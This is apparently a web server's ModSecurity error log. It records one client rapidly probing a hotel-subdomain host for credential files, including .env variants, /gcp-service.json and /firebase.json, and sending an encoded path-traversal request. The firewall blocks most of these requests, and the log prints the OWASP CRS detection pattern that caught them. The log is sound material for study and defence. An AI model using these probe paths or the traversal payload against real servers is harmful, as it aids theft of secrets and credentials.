[Mon Oct 26 10:03:28.384244 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/gcp-service.json"] [unique_id "at9dsIkBAlsUe0HxPuSmMAAAAA4"]
[Mon Oct 26 10:03:28.384281 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/gcp-service.json"] [unique_id "at9dsIkBAlsUe0HxPuSmMAAAAA4"]
[Mon Oct 26 10:03:28.387771 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hQAAACU"]
[Mon Oct 26 10:03:28.387918 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hQAAACU"]
[Mon Oct 26 10:03:28.388123 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hQAAACU"]
[Mon Oct 26 10:03:28.388442 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hQAAACU"]
[Mon Oct 26 10:03:28.391325 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/firebase.json"] [unique_id "at9dsMfzpoBm8xCXttklVgAAABA"]
[Mon Oct 26 10:03:28.391350 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/firebase.json"] [unique_id "at9dsMfzpoBm8xCXttklVgAAABA"]
[Mon Oct 26 10:03:28.401278 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9dsNRG_i45-CTA-LMVigAAABI"]
[Mon Oct 26 10:03:28.401537 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9dsNRG_i45-CTA-LMVigAAABI"]
[Mon Oct 26 10:03:28.401911 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9dsNRG_i45-CTA-LMVigAAABI"]
[Mon Oct 26 10:03:28.403769 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9dsLGXTlA520hhAgG8DgAAAA8"]
[Mon Oct 26 10:03:28.403991 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9dsLGXTlA520hhAgG8DgAAAA8"]
[Mon Oct 26 10:03:28.404229 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9dsLGXTlA520hhAgG8DgAAAA8"]
[Mon Oct 26 10:03:28.407364 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at9dsCDi6FEnz4zo40NhigAAAAk"]
[Mon Oct 26 10:03:28.407527 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at9dsCDi6FEnz4zo40NhigAAAAk"]
[Mon Oct 26 10:03:28.407737 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at9dsCDi6FEnz4zo40NhigAAAAk"]
[Mon Oct 26 10:03:28.408718 2026] [security2:error] [pid 3044228:tid 3044228] [client 34.118.177.189:39458] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9dsFej4JGC6OukmZl-QAAAABM"]
[Mon Oct 26 10:03:28.408895 2026] [security2:error] [pid 3044228:tid 3044228] [client 34.118.177.189:39458] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9dsFej4JGC6OukmZl-QAAAABM"]
[Mon Oct 26 10:03:28.409140 2026] [security2:error] [pid 3044228:tid 3044228] [client 34.118.177.189:39458] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9dsFej4JGC6OukmZl-QAAAABM"]
[Mon Oct 26 10:03:28.413125 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at9dsHzx9K7YR_L8u2S6UQAAABQ"]
[Mon Oct 26 10:03:28.413368 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at9dsHzx9K7YR_L8u2S6UQAAABQ"]
[Mon Oct 26 10:03:28.413709 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at9dsHzx9K7YR_L8u2S6UQAAABQ"]
[Mon Oct 26 10:03:28.413713 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9dsIkBAlsUe0HxPuSmMQAAAA4"]
[Mon Oct 26 10:03:28.413881 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9dsIkBAlsUe0HxPuSmMQAAAA4"]
[Mon Oct 26 10:03:28.414090 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9dsIkBAlsUe0HxPuSmMQAAAA4"]
[Mon Oct 26 10:03:28.415164 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9dsDnmQI02MoAHI7oCFwAAABU"]
[Mon Oct 26 10:03:28.415390 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9dsDnmQI02MoAHI7oCFwAAABU"]
[Mon Oct 26 10:03:28.415703 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9dsDnmQI02MoAHI7oCFwAAABU"]
[Mon Oct 26 10:03:28.421701 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at9dsNRG_i45-CTA-LMViwAAABI"]
[Mon Oct 26 10:03:28.421878 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at9dsNRG_i45-CTA-LMViwAAABI"]
[Mon Oct 26 10:03:28.422097 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at9dsNRG_i45-CTA-LMViwAAABI"]
[Mon Oct 26 10:03:28.428645 2026] [security2:error] [pid 3044228:tid 3044228] [client 34.118.177.189:39458] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at9dsFej4JGC6OukmZl-QQAAABM"]
[Mon Oct 26 10:03:28.428858 2026] [security2:error] [pid 3044228:tid 3044228] [client 34.118.177.189:39458] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at9dsFej4JGC6OukmZl-QQAAABM"]
[Mon Oct 26 10:03:28.429088 2026] [security2:error] [pid 3044228:tid 3044228] [client 34.118.177.189:39458] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at9dsFej4JGC6OukmZl-QQAAABM"]
[Mon Oct 26 10:03:28.436155 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at9dsLGXTlA520hhAgG8DwAAAA8"]
[Mon Oct 26 10:03:28.436292 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at9dsLGXTlA520hhAgG8DwAAAA8"]
[Mon Oct 26 10:03:28.436560 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at9dsLGXTlA520hhAgG8DwAAAA8"]
[Mon Oct 26 10:03:28.437672 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at9dsAt8dJFpdHay4jzKmgAAAAA"]
[Mon Oct 26 10:03:28.437828 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at9dsAt8dJFpdHay4jzKmgAAAAA"]
